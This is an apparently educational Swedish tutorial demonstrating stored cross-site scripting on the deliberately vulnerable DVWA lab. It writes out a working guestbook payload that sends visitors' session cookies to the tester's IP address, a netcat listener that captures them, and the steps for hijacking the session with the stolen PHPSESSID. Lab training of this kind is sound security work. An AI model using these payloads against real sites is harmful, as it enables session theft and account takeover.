Sec24 – Cross-site scripting (XSS) – Persistent XSS (XSS Stored)

Av: Oscar Andersson, Sec24, 2013-02-21

OBS:  Följande guide är för utbildningssyfte enbart och får absolut inte användas för olagliga ändamål.

Guiderna utgår ifrån att du har satt upp en DVWA – Damn Vulnerable Web Application och nu är ansluten till denna. Vet du inte hur du gör är det bara att följa denna guide. Sätta upp en testmiljö.

När du väl är inloggad börjar du med att trycka på fliken DVWA Security. Här kan du välja vilken säkerhetsnivå hemsidan ska ha. I den här introduktionsguiden sätter vi säkerhetsnivån till low och trycker på submit.

Webbläsaren jag använder är Firefox.

I DVWA klickar du på fliken XSS stored. Här får vi upp en gästbok.

Vi testar att köra ett script för att se om det fungerar. Välj ett valfritt namn och skriv koden <script>alert(1)</script> i meddelandefältet.

XSS S 1

En etta visas och det innebär att javakod körts. Om vi nu trycker på OK, byter till valfri flik i DVWA, exempelvis XSS reflected och sedan trycker på XSS stored igen kommer en etta att visas igen. Detta beror på att koden körs varje gång vi trycker på fliken. Därav kallas detta för XSS Stored (Lagrad).

Tryck nu på fliken Setup i DVWA och sedan “Create / Reset Database” för att ta bort kommentaren och slippa se en etta varje gång du går in på XSS stored.

Nästa steg kan kräva att du stänger av eventuell brandvägg både på datorn och i routern. 

I meddelandefältet skriver du nu in följande kommando:

<script>new Image().src=”http://<Din IP här>/b.php?”+document.cookie;</script>

I mitt fall:

<script>new Image().src=”http://192.168.1.164/b.php?”+document.cookie;</script>

b.php? är enbart ett exempel. Här kan stå vad som helst och filen behöver inte existera. IP-adressen behöver inte heller vara lokal utan det kan vara den tilldelad från din ISP eller liknande. För detta ändåmål krävs dock konfigurering av router etc. 

XSS4

Vi ska nu använda oss av ett program som heter Netcat. Finns att ladda ner för Windows på länken nedan och finns förinstallerat i BackTrack 5.

Netcat for windows

Använder du Windowsversionen ska du spara ner zip-filen och unzippa den på valfri plats. Öppna därefter upp cmd som administratör. I Windows 7 gör du detta genom att högerklicka och välja “Kör som administratör”.

Använd sedan cd för att navigera till mappen där nc.exe finns.

I mitt fall blev kommandona:

D:

cd nc

nc.exe -lvp 80

Använder du BackTrack är det bara att öppna terminalen och skriva:

netcat -lvp 80

Öppna nu upp valfri ny webbläsare som ej filtrerar XSS. Logga sedan in som administratör och navigera till XSS stored medan netcat är igång. Glöm inte att sätta security till low!

Om allt gått rätt till borde netcat se ut enligt följande när ovanstående utförts:

XSS2

Nedan har jag ändrat meddelandet från: <script>new Image().src=”http://192.168.1.164/b.php?”+document.cookie;</script> till <script>new Image().src=”http://192.168.1.221/b.php?”+document.cookie;</script>

Jag har sedan startat netcat på datorn som kör BackTrack, gått tillbaks till min Windowsdator och där loggat in på DVWA, satt security till low igen och sedan klickat på fliken XSS stored. Som ni kan se nedan behöver det inte vara lokalt på en dator utan det går även via nätverket och likaså över internet.

XSS3

 

Det intressanta ovan är PHPSESSID=ee2g7j44k5utn8fl5liur985b7. Det här innebär att vi kan logga in som användaren som precis besökte XSS stored fliken utan att veta användarnamn eller lösenord. Genom att i Firefox på Windowsdatorn kontrollera cookies kan jag även kontrollera att ovanstående session ID stämmer.

XSS5

För att exemplifiera ett övertagande startar jag Firefox i BackTrack 5 och går till DVWA men jag loggar inte in.

Jag kommer nu att använda mig av ett Firefox plugin som heter Tamper.

När det är installerat går vi till menyn Tools och väljer Tamper Data.

Klicka sedan på Start Tamper uppe i vänstra hörnet. Gå sedan till DVWA inloggningen. Innan någonting händer ska en ruta komma upp där du kan välja “Tamper”.

XSS8

 

Klicka på Tamper så kommer en ny ruta upp. Här väljer du rutan Cookie och här ser du nu ett nytt PHPSESSID. Ta bort det gamla och ersätt med det vi fick från Netcat. I mitt fall ee2g7j44k5utn8fl5liur985b7.

Om allt går vägen så när du klickar på OK kommer du vara inloggad utan att ha använt inloggningsformuläret.

Det går även att göra det via javascipt i Firefoxs URL-fönster. Då gör du följnade:

Skriv i Firefoxs URL fönster:

about:config

Scrolla sedan ner till noscript.allowURLBarJS och högerklicka. Välj sedan Toggle.

Koden vi ska köra ser ut enligt följande: javascript:void(document.cooki­e=”security=low;PHPSESSID=DITTSESSIONID”)

I mitt fall blir det: javascript:void(document.cooki­e=”security=low;PHPSESSID=ee2g7j44k5utn8fl5liur985b7″);